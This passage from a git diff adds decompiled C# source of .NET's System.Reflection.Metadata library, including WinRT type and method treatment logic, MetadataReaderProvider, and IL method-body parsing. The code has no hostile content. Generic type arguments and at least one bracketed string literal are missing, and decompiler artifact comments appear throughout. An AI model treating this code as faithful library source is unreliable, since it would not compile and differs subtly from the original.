TypeDefTreatment.UnmangleWinRTName : TypeDefTreatment.None); + } + else + { + if (_metadataKind != MetadataKind.WindowsMetadata) + { + typeDefTreatment = ((_metadataKind == MetadataKind.ManagedWindowsMetadata && NeedsWinRTPrefix(flags, extends)) ? TypeDefTreatment.PrefixWinRTName : TypeDefTreatment.None); + } + else + { + typeDefTreatment = GetWellKnownTypeDefinitionTreatment(handle); + if (typeDefTreatment != TypeDefTreatment.None) + { + return TreatmentAndRowId((byte)typeDefTreatment, handle.RowId); + } + typeDefTreatment = ((extends.Kind != HandleKind.TypeReference || !IsSystemAttribute((TypeReferenceHandle)extends)) ? TypeDefTreatment.NormalNonAttribute : TypeDefTreatment.NormalAttribute); + } + if ((typeDefTreatment == TypeDefTreatment.PrefixWinRTName || typeDefTreatment == TypeDefTreatment.NormalNonAttribute) && (flags & TypeAttributes.ClassSemanticsMask) == 0 && HasAttribute(handle, "Windows.UI.Xaml", "TreatAsAbstractComposableClassAttribute")) + { + typeDefTreatment |= TypeDefTreatment.MarkAbstractFlag; + } + } + return TreatmentAndRowId((byte)typeDefTreatment, handle.RowId); + } + + private bool IsClrImplementationType(TypeDefinitionHandle typeDef) + { + TypeAttributes flags = TypeDefTable.GetFlags(typeDef); + if ((flags & (TypeAttributes.VisibilityMask | TypeAttributes.SpecialName)) != TypeAttributes.SpecialName) + { + return false; + } + return StringHeap.StartsWithRaw(TypeDefTable.GetName(typeDef), ""); + } + + internal uint CalculateTypeRefTreatmentAndRowId(TypeReferenceHandle handle) + { + bool isIDisposable; + int projectionIndexForTypeReference = GetProjectionIndexForTypeReference(handle, out isIDisposable); + if (projectionIndexForTypeReference >= 0) + { + return TreatmentAndRowId(3, projectionIndexForTypeReference); + } + return TreatmentAndRowId((byte)GetSpecialTypeRefTreatment(handle), handle.RowId); + } + + private TypeRefTreatment GetSpecialTypeRefTreatment(TypeReferenceHandle handle) + { + if (StringHeap.EqualsRaw(TypeRefTable.GetNamespace(handle), "System")) + { + StringHandle name = TypeRefTable.GetName(handle); + if (StringHeap.EqualsRaw(name, "MulticastDelegate")) + { + return TypeRefTreatment.SystemDelegate; + } + if (StringHeap.EqualsRaw(name, "Attribute")) + { + return TypeRefTreatment.SystemAttribute; + } + } + return TypeRefTreatment.None; + } + + private bool IsSystemAttribute(TypeReferenceHandle handle) + { + if (StringHeap.EqualsRaw(TypeRefTable.GetNamespace(handle), "System")) + { + return StringHeap.EqualsRaw(TypeRefTable.GetName(handle), "Attribute"); + } + return false; + } + + private bool NeedsWinRTPrefix(TypeAttributes flags, EntityHandle extends) + { + if ((flags & (TypeAttributes.VisibilityMask | TypeAttributes.ClassSemanticsMask)) != TypeAttributes.Public) + { + return false; + } + if (extends.Kind != HandleKind.TypeReference) + { + return false; + } + TypeReferenceHandle handle = (TypeReferenceHandle)extends; + if (StringHeap.EqualsRaw(TypeRefTable.GetNamespace(handle), "System")) + { + StringHandle name = TypeRefTable.GetName(handle); + if (StringHeap.EqualsRaw(name, "MulticastDelegate") || StringHeap.EqualsRaw(name, "ValueType") || StringHeap.EqualsRaw(name, "Attribute")) + { + return false; + } + } + return true; + } + + private uint CalculateMethodDefTreatmentAndRowId(MethodDefinitionHandle methodDef) + { + MethodDefTreatment methodDefTreatment = MethodDefTreatment.Implementation; + TypeDefinitionHandle declaringType = GetDeclaringType(methodDef); + TypeAttributes flags = TypeDefTable.GetFlags(declaringType); + if ((flags & TypeAttributes.WindowsRuntime) != TypeAttributes.NotPublic) + { + if (IsClrImplementationType(declaringType)) + { + methodDefTreatment = MethodDefTreatment.Implementation; + } + else if (flags.IsNested()) + { + methodDefTreatment = MethodDefTreatment.Implementation; + } + else if ((flags & TypeAttributes.ClassSemanticsMask) != TypeAttributes.NotPublic) + { + methodDefTreatment = MethodDefTreatment.InterfaceMethod; + } + else if (_metadataKind == MetadataKind.ManagedWindowsMetadata && (flags & TypeAttributes.Public) == 0) + { + methodDefTreatment = MethodDefTreatment.Implementation; + } + else + { + methodDefTreatment = MethodDefTreatment.Other; + EntityHandle extends = TypeDefTable.GetExtends(declaringType); + if (extends.Kind == HandleKind.TypeReference) + { + switch (GetSpecialTypeRefTreatment((TypeReferenceHandle)extends)) + { + case TypeRefTreatment.SystemAttribute: + methodDefTreatment = MethodDefTreatment.AttributeMethod; + break; + case TypeRefTreatment.SystemDelegate: + methodDefTreatment = MethodDefTreatment.DelegateMethod | MethodDefTreatment.MarkPublicFlag; + break; + } + } + } + } + if (methodDefTreatment == MethodDefTreatment.Other) + { + bool flag = false; + bool flag2 = false; + bool isIDisposable = false; + foreach (MethodImplementationHandle item in new MethodImplementationHandleCollection(this, declaringType)) + { + MethodImplementation methodImplementation = GetMethodImplementation(item); + if (!(methodImplementation.MethodBody == methodDef)) + { + continue; + } + EntityHandle methodDeclaration = methodImplementation.MethodDeclaration; + if (methodDeclaration.Kind == HandleKind.MemberReference && ImplementsRedirectedInterface((MemberReferenceHandle)methodDeclaration, out isIDisposable)) + { + flag = true; + if (isIDisposable) + { + break; + } + } + else + { + flag2 = true; + } + } + if (isIDisposable) + { + methodDefTreatment = MethodDefTreatment.DisposeMethod; + } + else if (flag && !flag2) + { + methodDefTreatment = MethodDefTreatment.HiddenInterfaceImplementation; + } + } + if (methodDefTreatment == MethodDefTreatment.Other) + { + methodDefTreatment |= GetMethodTreatmentFromCustomAttributes(methodDef); + } + return TreatmentAndRowId((byte)methodDefTreatment, methodDef.RowId); + } + + private MethodDefTreatment GetMethodTreatmentFromCustomAttributes(MethodDefinitionHandle methodDef) + { + MethodDefTreatment methodDefTreatment = MethodDefTreatment.None; + foreach (CustomAttributeHandle customAttribute in GetCustomAttributes(methodDef)) + { + if (GetAttributeTypeNameRaw(customAttribute, out var namespaceName, out var typeName) && StringHeap.EqualsRaw(namespaceName, "Windows.UI.Xaml")) + { + if (StringHeap.EqualsRaw(typeName, "TreatAsPublicMethodAttribute")) + { + methodDefTreatment |= MethodDefTreatment.MarkPublicFlag; + } + if (StringHeap.EqualsRaw(typeName, "TreatAsAbstractMethodAttribute")) + { + methodDefTreatment |= MethodDefTreatment.MarkAbstractFlag; + } + } + } + return methodDefTreatment; + } + + private uint CalculateFieldDefTreatmentAndRowId(FieldDefinitionHandle handle) + { + FieldAttributes flags = FieldTable.GetFlags(handle); + FieldDefTreatment treatment = FieldDefTreatment.None; + if ((flags & FieldAttributes.RTSpecialName) != FieldAttributes.PrivateScope && StringHeap.EqualsRaw(FieldTable.GetName(handle), "value__")) + { + TypeDefinitionHandle declaringType = GetDeclaringType(handle); + EntityHandle extends = TypeDefTable.GetExtends(declaringType); + if (extends.Kind == HandleKind.TypeReference) + { + TypeReferenceHandle handle2 = (TypeReferenceHandle)extends; + if (StringHeap.EqualsRaw(TypeRefTable.GetName(handle2), "Enum") && StringHeap.EqualsRaw(TypeRefTable.GetNamespace(handle2), "System")) + { + treatment = FieldDefTreatment.EnumValue; + } + } + } + return TreatmentAndRowId((byte)treatment, handle.RowId); + } + + private uint CalculateMemberRefTreatmentAndRowId(MemberReferenceHandle handle) + { + bool isIDisposable; + MemberRefTreatment treatment = ((ImplementsRedirectedInterface(handle, out isIDisposable) && isIDisposable) ? MemberRefTreatment.Dispose : MemberRefTreatment.None); + return TreatmentAndRowId((byte)treatment, handle.RowId); + } + + private bool ImplementsRedirectedInterface(MemberReferenceHandle memberRef, out bool isIDisposable) + { + isIDisposable = false; + EntityHandle entityHandle = MemberRefTable.GetClass(memberRef); + TypeReferenceHandle typeRef; + if (entityHandle.Kind == HandleKind.TypeReference) + { + typeRef = (TypeReferenceHandle)entityHandle; + } + else + { + if (entityHandle.Kind != HandleKind.TypeSpecification) + { + return false; + } + BlobHandle signature = TypeSpecTable.GetSignature((TypeSpecificationHandle)entityHandle); + BlobReader blobReader = new BlobReader(BlobHeap.GetMemoryBlock(signature)); + if (blobReader.Length < 2 || blobReader.ReadByte() != 21 || blobReader.ReadByte() != 18) + { + return false; + } + EntityHandle entityHandle2 = blobReader.ReadTypeHandle(); + if (entityHandle2.Kind != HandleKind.TypeReference) + { + return false; + } + typeRef = (TypeReferenceHandle)entityHandle2; + } + return GetProjectionIndexForTypeReference(typeRef, out isIDisposable) >= 0; + } + + private int FindMscorlibAssemblyRefNoProjection() + { + for (int i = 1; i <= AssemblyRefTable.NumberOfNonVirtualRows; i++) + { + if (StringHeap.EqualsRaw(AssemblyRefTable.GetName(i), "mscorlib")) + { + return i; + } + } + throw new BadImageFormatException(System.SR.WinMDMissingMscorlibRef); + } + + internal CustomAttributeValueTreatment CalculateCustomAttributeValueTreatment(CustomAttributeHandle handle) + { + EntityHandle parent = CustomAttributeTable.GetParent(handle); + if (!IsWindowsAttributeUsageAttribute(parent, handle)) + { + return CustomAttributeValueTreatment.None; + } + TypeDefinitionHandle typeDefinitionHandle = (TypeDefinitionHandle)parent; + if (StringHeap.EqualsRaw(TypeDefTable.GetNamespace(typeDefinitionHandle), "Windows.Foundation.Metadata")) + { + if (StringHeap.EqualsRaw(TypeDefTable.GetName(typeDefinitionHandle), "VersionAttribute")) + { + return CustomAttributeValueTreatment.AttributeUsageVersionAttribute; + } + if (StringHeap.EqualsRaw(TypeDefTable.GetName(typeDefinitionHandle), "DeprecatedAttribute")) + { + return CustomAttributeValueTreatment.AttributeUsageDeprecatedAttribute; + } + } + if (!HasAttribute(typeDefinitionHandle, "Windows.Foundation.Metadata", "AllowMultipleAttribute")) + { + return CustomAttributeValueTreatment.AttributeUsageAllowSingle; + } + return CustomAttributeValueTreatment.AttributeUsageAllowMultiple; + } + + private bool IsWindowsAttributeUsageAttribute(EntityHandle targetType, CustomAttributeHandle attributeHandle) + { + if (targetType.Kind != HandleKind.TypeDefinition) + { + return false; + } + EntityHandle constructor = CustomAttributeTable.GetConstructor(attributeHandle); + if (constructor.Kind != HandleKind.MemberReference) + { + return false; + } + EntityHandle entityHandle = MemberRefTable.GetClass((MemberReferenceHandle)constructor); + if (entityHandle.Kind != HandleKind.TypeReference) + { + return false; + } + TypeReferenceHandle handle = (TypeReferenceHandle)entityHandle; + if (StringHeap.EqualsRaw(TypeRefTable.GetName(handle), "AttributeUsageAttribute")) + { + return StringHeap.EqualsRaw(TypeRefTable.GetNamespace(handle), "Windows.Foundation.Metadata"); + } + return false; + } + + private bool HasAttribute(EntityHandle token, string asciiNamespaceName, string asciiTypeName) + { + foreach (CustomAttributeHandle customAttribute in GetCustomAttributes(token)) + { + if (GetAttributeTypeNameRaw(customAttribute, out var namespaceName, out var typeName) && StringHeap.EqualsRaw(typeName, asciiTypeName) && StringHeap.EqualsRaw(namespaceName, asciiNamespaceName)) + { + return true; + } + } + return false; + } + + private bool GetAttributeTypeNameRaw(CustomAttributeHandle caHandle, out StringHandle namespaceName, out StringHandle typeName) + { + namespaceName = (typeName = default(StringHandle)); + EntityHandle attributeTypeRaw = GetAttributeTypeRaw(caHandle); + if (attributeTypeRaw.IsNil) + { + return false; + } + if (attributeTypeRaw.Kind == HandleKind.TypeReference) + { + TypeReferenceHandle handle = (TypeReferenceHandle)attributeTypeRaw; + EntityHandle resolutionScope = TypeRefTable.GetResolutionScope(handle); + if (!resolutionScope.IsNil && resolutionScope.Kind == HandleKind.TypeReference) + { + return false; + } + typeName = TypeRefTable.GetName(handle); + namespaceName = TypeRefTable.GetNamespace(handle); + } + else + { + if (attributeTypeRaw.Kind != HandleKind.TypeDefinition) + { + return false; + } + TypeDefinitionHandle handle2 = (TypeDefinitionHandle)attributeTypeRaw; + if (TypeDefTable.GetFlags(handle2).IsNested()) + { + return false; + } + typeName = TypeDefTable.GetName(handle2); + namespaceName = TypeDefTable.GetNamespace(handle2); + } + return true; + } + + private EntityHandle GetAttributeTypeRaw(CustomAttributeHandle handle) + { + EntityHandle constructor = CustomAttributeTable.GetConstructor(handle); + if (constructor.Kind == HandleKind.MethodDefinition) + { + return GetDeclaringType((MethodDefinitionHandle)constructor); + } + if (constructor.Kind == HandleKind.MemberReference) + { + EntityHandle result = MemberRefTable.GetClass((MemberReferenceHandle)constructor); + HandleKind kind = result.Kind; + if (kind == HandleKind.TypeReference || kind == HandleKind.TypeDefinition) + { + return result; + } + } + return default(EntityHandle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReaderOptions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReaderOptions.cs new file mode 100644 index 0000000..92e8e98 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReaderOptions.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata; + +[Flags] +public enum MetadataReaderOptions +{ + None = 0, + Default = 1, + ApplyWindowsRuntimeProjections = 1 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReaderProvider.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReaderProvider.cs new file mode 100644 index 0000000..f2983fc --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataReaderProvider.cs @@ -0,0 +1,160 @@ +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Internal; +using System.Threading; + +namespace System.Reflection.Metadata; + +public sealed class MetadataReaderProvider : IDisposable +{ + private MemoryBlockProvider _blockProviderOpt; + + private AbstractMemoryBlock _lazyMetadataBlock; + + private MetadataReader _lazyMetadataReader; + + private readonly object _metadataReaderGuard = new object(); + + internal MetadataReaderProvider(AbstractMemoryBlock metadataBlock) + { + _lazyMetadataBlock = metadataBlock; + } + + private MetadataReaderProvider(MemoryBlockProvider blockProvider) + { + _blockProviderOpt = blockProvider; + } + + public unsafe static MetadataReaderProvider FromPortablePdbImage(byte* start, int size) + { + return FromMetadataImage(start, size); + } + + public unsafe static MetadataReaderProvider FromMetadataImage(byte* start, int size) + { + if (start == null) + { + Throw.ArgumentNull("start"); + } + if (size < 0) + { + throw new ArgumentOutOfRangeException("size"); + } + return new MetadataReaderProvider(new ExternalMemoryBlockProvider(start, size)); + } + + public static MetadataReaderProvider FromPortablePdbImage(ImmutableArray image) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return FromMetadataImage(image); + } + + public static MetadataReaderProvider FromMetadataImage(ImmutableArray image) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (image.IsDefault) + { + Throw.ArgumentNull("image"); + } + return new MetadataReaderProvider(new ByteArrayMemoryProvider(image)); + } + + public static MetadataReaderProvider FromPortablePdbStream(Stream stream, MetadataStreamOptions options = MetadataStreamOptions.Default, int size = 0) + { + return FromMetadataStream(stream, options, size); + } + + public static MetadataReaderProvider FromMetadataStream(Stream stream, MetadataStreamOptions options = MetadataStreamOptions.Default, int size = 0) + { + if (stream == null) + { + Throw.ArgumentNull("stream"); + } + if (!stream.CanRead || !stream.CanSeek) + { + throw new ArgumentException(System.SR.StreamMustSupportReadAndSeek, "stream"); + } + if (!options.IsValid()) + { + throw new ArgumentOutOfRangeException("options"); + } + long position = stream.Position; + int andValidateSize = StreamExtensions.GetAndValidateSize(stream, size, "stream"); + bool flag = true; + MetadataReaderProvider result; + try + { + if ((options & MetadataStreamOptions.PrefetchMetadata) == 0) + { + result = new MetadataReaderProvider(new StreamMemoryBlockProvider(stream, position, andValidateSize, (options & MetadataStreamOptions.LeaveOpen) != 0)); + flag = false; + } + else + { + result = new MetadataReaderProvider(StreamMemoryBlockProvider.ReadMemoryBlockNoLock(stream, position, andValidateSize)); + } + } + finally + { + if (flag && (options & MetadataStreamOptions.LeaveOpen) == 0) + { + stream.Dispose(); + } + } + return result; + } + + public void Dispose() + { + _blockProviderOpt?.Dispose(); + _blockProviderOpt = null; + _lazyMetadataBlock?.Dispose(); + _lazyMetadataBlock = null; + _lazyMetadataReader = null; + } + + public unsafe MetadataReader GetMetadataReader(MetadataReaderOptions options = MetadataReaderOptions.Default, MetadataStringDecoder? utf8Decoder = null) + { + MetadataReader lazyMetadataReader = _lazyMetadataReader; + if (CanReuseReader(lazyMetadataReader, options, utf8Decoder)) + { + return lazyMetadataReader; + } + lock (_metadataReaderGuard) + { + lazyMetadataReader = _lazyMetadataReader; + if (CanReuseReader(lazyMetadataReader, options, utf8Decoder)) + { + return lazyMetadataReader; + } + AbstractMemoryBlock metadataBlock = GetMetadataBlock(); + return _lazyMetadataReader = new MetadataReader(metadataBlock.Pointer, metadataBlock.Size, options, utf8Decoder, this); + } + } + + private static bool CanReuseReader(MetadataReader reader, MetadataReaderOptions options, MetadataStringDecoder utf8DecoderOpt) + { + if (reader != null && reader.Options == options) + { + return reader.UTF8Decoder == (utf8DecoderOpt ?? MetadataStringDecoder.DefaultUTF8); + } + return false; + } + + internal AbstractMemoryBlock GetMetadataBlock() + { + if (_lazyMetadataBlock == null) + { + if (_blockProviderOpt == null) + { + throw new ObjectDisposedException("MetadataReaderProvider"); + } + AbstractMemoryBlock memoryBlock = _blockProviderOpt.GetMemoryBlock(0, _blockProviderOpt.Size); + if (Interlocked.CompareExchange(ref _lazyMetadataBlock, memoryBlock, null) != null) + { + memoryBlock.Dispose(); + } + } + return _lazyMetadataBlock; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStreamOptions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStreamOptions.cs new file mode 100644 index 0000000..71e017e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStreamOptions.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata; + +[Flags] +public enum MetadataStreamOptions +{ + Default = 0, + LeaveOpen = 1, + PrefetchMetadata = 2 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStreamOptionsExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStreamOptionsExtensions.cs new file mode 100644 index 0000000..e33314a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStreamOptionsExtensions.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata; + +internal static class MetadataStreamOptionsExtensions +{ + public static bool IsValid(this MetadataStreamOptions options) + { + return (options & ~(MetadataStreamOptions.LeaveOpen | MetadataStreamOptions.PrefetchMetadata)) == 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStringComparer.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStringComparer.cs new file mode 100644 index 0000000..56717ba --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStringComparer.cs @@ -0,0 +1,71 @@ +namespace System.Reflection.Metadata; + +public readonly struct MetadataStringComparer +{ + private readonly MetadataReader _reader; + + internal MetadataStringComparer(MetadataReader reader) + { + _reader = reader; + } + + public bool Equals(StringHandle handle, string value) + { + return Equals(handle, value, ignoreCase: false); + } + + public bool Equals(StringHandle handle, string value, bool ignoreCase) + { + if (value == null) + { + Throw.ValueArgumentNull(); + } + return _reader.StringHeap.Equals(handle, value, _reader.UTF8Decoder, ignoreCase); + } + + public bool Equals(NamespaceDefinitionHandle handle, string value) + { + return Equals(handle, value, ignoreCase: false); + } + + public bool Equals(NamespaceDefinitionHandle handle, string value, bool ignoreCase) + { + if (value == null) + { + Throw.ValueArgumentNull(); + } + if (handle.HasFullName) + { + return _reader.StringHeap.Equals(handle.GetFullName(), value, _reader.UTF8Decoder, ignoreCase); + } + return value == _reader.NamespaceCache.GetFullName(handle); + } + + public bool Equals(DocumentNameBlobHandle handle, string value) + { + return Equals(handle, value, ignoreCase: false); + } + + public bool Equals(DocumentNameBlobHandle handle, string value, bool ignoreCase) + { + if (value == null) + { + Throw.ValueArgumentNull(); + } + return _reader.BlobHeap.DocumentNameEquals(handle, value, ignoreCase); + } + + public bool StartsWith(StringHandle handle, string value) + { + return StartsWith(handle, value, ignoreCase: false); + } + + public bool StartsWith(StringHandle handle, string value, bool ignoreCase) + { + if (value == null) + { + Throw.ValueArgumentNull(); + } + return _reader.StringHeap.StartsWith(handle, value, _reader.UTF8Decoder, ignoreCase); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStringDecoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStringDecoder.cs new file mode 100644 index 0000000..f76a5f8 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MetadataStringDecoder.cs @@ -0,0 +1,24 @@ +using System.Text; + +namespace System.Reflection.Metadata; + +public class MetadataStringDecoder +{ + public Encoding Encoding { get; } + + public static MetadataStringDecoder DefaultUTF8 { get; } = new MetadataStringDecoder(System.Text.Encoding.UTF8); + + public MetadataStringDecoder(Encoding encoding) + { + if (encoding == null) + { + Throw.ArgumentNull("encoding"); + } + Encoding = encoding; + } + + public unsafe virtual string GetString(byte* bytes, int byteCount) + { + return Encoding.GetString(bytes, byteCount); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodBodyBlock.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodBodyBlock.cs new file mode 100644 index 0000000..50e096c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodBodyBlock.cs @@ -0,0 +1,188 @@ +using System.Collections.Immutable; +using System.Reflection.Internal; + +namespace System.Reflection.Metadata; + +public sealed class MethodBodyBlock +{ + private readonly MemoryBlock _il; + + private readonly int _size; + + private readonly ushort _maxStack; + + private readonly bool _localVariablesInitialized; + + private readonly StandaloneSignatureHandle _localSignature; + + private readonly ImmutableArray _exceptionRegions; + + private const byte ILTinyFormat = 2; + + private const byte ILFatFormat = 3; + + private const byte ILFormatMask = 3; + + private const int ILTinyFormatSizeShift = 2; + + private const byte ILMoreSects = 8; + + private const byte ILInitLocals = 16; + + private const byte ILFatFormatHeaderSize = 3; + + private const int ILFatFormatHeaderSizeShift = 4; + + private const byte SectEHTable = 1; + + private const byte SectFatFormat = 64; + + public int Size => _size; + + public int MaxStack => _maxStack; + + public bool LocalVariablesInitialized => _localVariablesInitialized; + + public StandaloneSignatureHandle LocalSignature => _localSignature; + + public ImmutableArray ExceptionRegions => _exceptionRegions; + + private MethodBodyBlock(bool localVariablesInitialized, ushort maxStack, StandaloneSignatureHandle localSignatureHandle, MemoryBlock il, ImmutableArray exceptionRegions, int size) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + _localVariablesInitialized = localVariablesInitialized; + _maxStack = maxStack; + _localSignature = localSignatureHandle; + _il = il; + _exceptionRegions = exceptionRegions; + _size = size; + } + + public byte[]? GetILBytes() + { + return _il.ToArray(); + } + + public ImmutableArray GetILContent() + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + byte[] array = GetILBytes(); + return ImmutableByteArrayInterop.DangerousCreateFromUnderlyingArray(ref array); + } + + public BlobReader GetILReader() + { + return new BlobReader(_il); + } + + public static MethodBodyBlock Create(BlobReader reader) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_019c: Unknown result type (might be due to invalid IL or missing references) + //IL_01a1: Unknown result type (might be due to invalid IL or missing references) + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_0193: Unknown result type (might be due to invalid IL or missing references) + //IL_0198: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + int offset = reader.Offset; + byte b = reader.ReadByte(); + int num; + if ((b & 3) == 2) + { + num = b >> 2; + return new MethodBodyBlock(localVariablesInitialized: false, 8, default(StandaloneSignatureHandle), reader.GetMemoryBlockAt(0, num), ImmutableArray.Empty, 1 + num); + } + if ((b & 3) != 3) + { + throw new BadImageFormatException(System.SR.Format(System.SR.InvalidMethodHeader1, b)); + } + byte b2 = reader.ReadByte(); + if (b2 >> 4 != 3) + { + throw new BadImageFormatException(System.SR.Format(System.SR.InvalidMethodHeader2, b, b2)); + } + bool localVariablesInitialized = (b & 0x10) == 16; + bool flag = (b & 8) == 8; + ushort maxStack = reader.ReadUInt16(); + num = reader.ReadInt32(); + int num2 = reader.ReadInt32(); + StandaloneSignatureHandle localSignatureHandle; + if (num2 == 0) + { + localSignatureHandle = default(StandaloneSignatureHandle); + } + else + { + if (((ulong)num2 & 0x7F000000uL) != 285212672) + { + throw new BadImageFormatException(System.SR.Format(System.SR.InvalidLocalSignatureToken, (uint)num2)); + } + localSignatureHandle = StandaloneSignatureHandle.FromRowId(num2 & 0xFFFFFF); + } + MemoryBlock memoryBlockAt = reader.GetMemoryBlockAt(0, num); + reader.Offset += num; + ImmutableArray exceptionRegions; + if (flag) + { + reader.Align(4); + byte b3 = reader.ReadByte(); + if ((b3 & 1) != 1) + { + throw new BadImageFormatException(System.SR.Format(System.SR.InvalidSehHeader, b3)); + } + bool flag2 = (b3 & 0x40) == 64; + int num3 = reader.ReadByte(); + if (flag2) + { + num3 += reader.ReadUInt16() << 8; + exceptionRegions = ReadFatExceptionHandlers(ref reader, num3 / 24); + } + else + { + reader.Offset += 2; + exceptionRegions = ReadSmallExceptionHandlers(ref reader, num3 / 12); + } + } + else + { + exceptionRegions = ImmutableArray.Empty; + } + return new MethodBodyBlock(localVariablesInitialized, maxStack, localSignatureHandle, memoryBlockAt, exceptionRegions, reader.Offset - offset); + } + + private static ImmutableArray ReadSmallExceptionHandlers(ref BlobReader memReader, int count) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + ExceptionRegion[] array = new ExceptionRegion[count]; + for (int i = 0; i < array.Length; i++) + { + ExceptionRegionKind kind = (ExceptionRegionKind)memReader.ReadUInt16(); + ushort tryOffset = memReader.ReadUInt16(); + byte tryLength = memReader.ReadByte(); + ushort handlerOffset = memReader.ReadUInt16(); + byte handlerLength = memReader.ReadByte(); + int classTokenOrFilterOffset = memReader.ReadInt32(); + array[i] = new ExceptionRegion(kind, tryOffset, tryLength, handlerOffset, handlerLength, classTokenOrFilterOffset); + } + return ImmutableArray.Create(array); + } + + private static ImmutableArray ReadFatExceptionHandlers(ref BlobReader memReader, int count) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + ExceptionRegion[] array = new ExceptionRegion[count]; + for (int i = 0; i < array.Length; i++) + { + ExceptionRegionKind kind = (ExceptionRegionKind)memReader.ReadUInt32(); + int tryOffset = memReader.ReadInt32(); + int tryLength = memReader.ReadInt32(); + int handlerOffset = memReader.ReadInt32(); + int handlerLength = memReader.ReadInt32(); + int classTokenOrFilterOffset = memReader.ReadInt32(); + array[i] = new ExceptionRegion(kind, tryOffset, tryLength, handlerOffset, handlerLength, classTokenOrFilterOffset); + } + return ImmutableArray.Create(array); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformation.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformation.cs new file mode 100644 index 0000000..b506281 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformation.cs @@ -0,0 +1,42 @@ +namespace System.Reflection.Metadata; + +public readonly struct MethodDebugInformation +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private MethodDebugInformationHandle Handle => MethodDebugInformationHandle.FromRowId(_rowId); + + public BlobHandle SequencePointsBlob => _reader.MethodDebugInformationTable.GetSequencePoints(Handle); + + public DocumentHandle Document => _reader.MethodDebugInformationTable.GetDocument(Handle); + + public StandaloneSignatureHandle LocalSignature + { + get + { + if (SequencePointsBlob.IsNil) + { + return default(StandaloneSignatureHandle); + } + return StandaloneSignatureHandle.FromRowId(_reader.GetBlobReader(SequencePointsBlob).ReadCompressedInteger()); + } + } + + internal MethodDebugInformation(MetadataReader reader, MethodDebugInformationHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public SequencePointCollection GetSequencePoints() + { + return new SequencePointCollection(_reader.BlobHeap.GetMemoryBlock(SequencePointsBlob), Document); + } + + public MethodDefinitionHandle GetStateMachineKickoffMethod() + { + return _reader.StateMachineMethodTable.FindKickoffMethod(_rowId); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformationHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformationHandle.cs new file mode 100644 index 0000000..f54ed86 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/MethodDebugInformationHandle.cs @@ -0,0 +1,87 @@ +namespace System.Reflection.Metadata; + +public readonly struct MethodDebugInformationHandle : IEquatable +{ + private const uint tokenType = 822083584u; + + private const byte tokenTypeSmall = 49; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private MethodDebugInformationHandle(int rowId) + { + _rowId = rowId; + } + + internal static MethodDebugInformationHandle FromRowId(int rowId) + { + return new MethodDebugInformationHandle(rowId); + } + + public static implicit operator Handle(MethodDebugInformationHandle handle) + { + return new Handle(49, handle._rowId); + } + + public static implicit operator EntityHandle(MethodDebugInformationHandle handle) + { + return new EntityHandle((uint)(0x31000000uL | (ulong)handle._rowId)); + } + + public static explicit operator MethodDebugInformationHandle(Handle handle) + { + if (handle.VType != 49) + { + Throw.InvalidCast(); + } + return new MethodDebugInformationHandle(handle.RowId); + } + + public static explicit operator MethodDebugInformationHandle(EntityHandle handle) + { + if (handle.VType != 822083584) + { + Throw.InvalidCast(); + } + return new MethodDebugInformationHandle(handle.RowId); + } + + public static bool operator ==(MethodDebugInformationHandle left, MethodDebugInformationHandle right) + { + return left._rowId == right._rowId; + } + + public override bool 